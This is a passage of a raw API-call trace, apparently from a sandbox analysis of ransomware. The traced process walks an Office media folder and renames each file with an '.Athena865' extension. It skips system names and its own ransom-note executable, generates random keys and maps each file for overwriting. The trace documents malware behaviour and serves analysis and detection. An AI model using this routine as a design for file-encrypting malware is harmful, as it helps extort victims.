MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.athena865"), dwFlags=0x1) returned 1 [0139.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.127] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28088) returned 1 [0139.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.127] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.128] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.128] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.128] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x70c0, lpName=0x0) returned 0x154 [0139.130] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x70c0) returned 0x100000 [0139.131] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.132] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.132] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.132] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.133] CloseHandle (hObject=0x154) returned 1 [0139.133] CloseHandle (hObject=0x17c) returned 1 [0139.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.133] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2=".") returned 1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2="..") returned 1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2="windows") returned -1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2="bootmgr") returned 1 [0139.133] lstrcmpiW (lpString1="J0297707.WMF", lpString2="temp") returned -1 [0139.134] lstrcmpiW (lpString1="J0297707.WMF", lpString2="pagefile.sys") returned -1 [0139.134] lstrcmpiW (lpString1="J0297707.WMF", lpString2="boot") returned 1 [0139.134] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0297707.WMF" | out: lpString1="J0297707.WMF") returned="J0297707.WMF" [0139.134] lstrlenW (lpString="J0297707.WMF") returned 12 [0139.134] lstrlenW (lpString="Athena865") returned 9 [0139.134] lstrcmpiW (lpString1="97707.WMF", lpString2="Athena865") returned -1 [0139.134] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.Athena865") returned 71 [0139.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.athena865"), dwFlags=0x1) returned 1 [0139.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.136] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42946) returned 1 [0139.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.136] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.137] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.137] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.137] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaad0, lpName=0x0) returned 0x154 [0139.145] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaad0) returned 0x100000 [0139.147] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.148] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.148] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.149] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.149] CloseHandle (hObject=0x154) returned 1 [0139.149] CloseHandle (hObject=0x17c) returned 1 [0139.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.150] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0139.150] lstrcmpiW (lpString1="J0297749.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.150] lstrcmpiW (lpString1="J0297749.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.150] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0297749.WMF" | out: lpString1="J0297749.WMF") returned="J0297749.WMF" [0139.150] lstrlenW (lpString="J0297749.WMF") returned 12 [0139.150] lstrlenW (lpString="Athena865") returned 9 [0139.150] lstrcmpiW (lpString1="97749.WMF", lpString2="Athena865") returned -1 [0139.150] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.Athena865") returned 71 [0139.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.athena865"), dwFlags=0x1) returned 1 [0139.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.153] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10170) returned 1 [0139.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.154] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.154] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.154] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.154] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ac0, lpName=0x0) returned 0x154 [0139.156] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ac0) returned 0x100000 [0139.157] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.158] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.158] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.159] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.159] CloseHandle (hObject=0x154) returned 1 [0139.159] CloseHandle (hObject=0x17c) returned 1 [0139.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.159] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0139.159] lstrcmpiW (lpString1="J0298653.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.159] lstrcmpiW (lpString1="J0298653.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.159] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0298653.WMF" | out: lpString1="J0298653.WMF") returned="J0298653.WMF" [0139.159] lstrlenW (lpString="J0298653.WMF") returned 12 [0139.159] lstrlenW (lpString="Athena865") returned 9 [0139.159] lstrcmpiW (lpString1="98653.WMF", lpString2="Athena865") returned -1 [0139.160] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.Athena865") returned 71 [0139.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.athena865"), dwFlags=0x1) returned 1 [0139.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.163] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6526) returned 1 [0139.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.164] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.165] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.165] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.165] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c80, lpName=0x0) returned 0x154 [0139.167] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c80) returned 0x100000 [0139.168] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.168] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.168] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.169] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.169] CloseHandle (hObject=0x154) returned 1 [0139.169] CloseHandle (hObject=0x17c) returned 1 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.170] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0139.170] lstrcmpiW (lpString1="J0298897.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.170] lstrcmpiW (lpString1="J0298897.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.170] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0298897.WMF" | out: lpString1="J0298897.WMF") returned="J0298897.WMF" [0139.170] lstrlenW (lpString="J0298897.WMF") returned 12 [0139.170] lstrlenW (lpString="Athena865") returned 9 [0139.170] lstrcmpiW (lpString1="98897.WMF", lpString2="Athena865") returned -1 [0139.170] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.Athena865") returned 71 [0139.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.athena865"), dwFlags=0x1) returned 1 [0139.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.172] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6566) returned 1 [0139.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.173] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.173] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.173] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.174] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cb0, lpName=0x0) returned 0x154 [0139.175] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cb0) returned 0x100000 [0139.176] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.177] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.177] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.177] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.178] CloseHandle (hObject=0x154) returned 1 [0139.178] CloseHandle (hObject=0x17c) returned 1 [0139.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.178] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0139.178] lstrcmpiW (lpString1="J0299125.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.178] lstrcmpiW (lpString1="J0299125.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.178] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0299125.WMF" | out: lpString1="J0299125.WMF") returned="J0299125.WMF" [0139.178] lstrlenW (lpString="J0299125.WMF") returned 12 [0139.178] lstrlenW (lpString="Athena865") returned 9 [0139.178] lstrcmpiW (lpString1="99125.WMF", lpString2="Athena865") returned -1 [0139.178] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.Athena865") returned 71 [0139.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 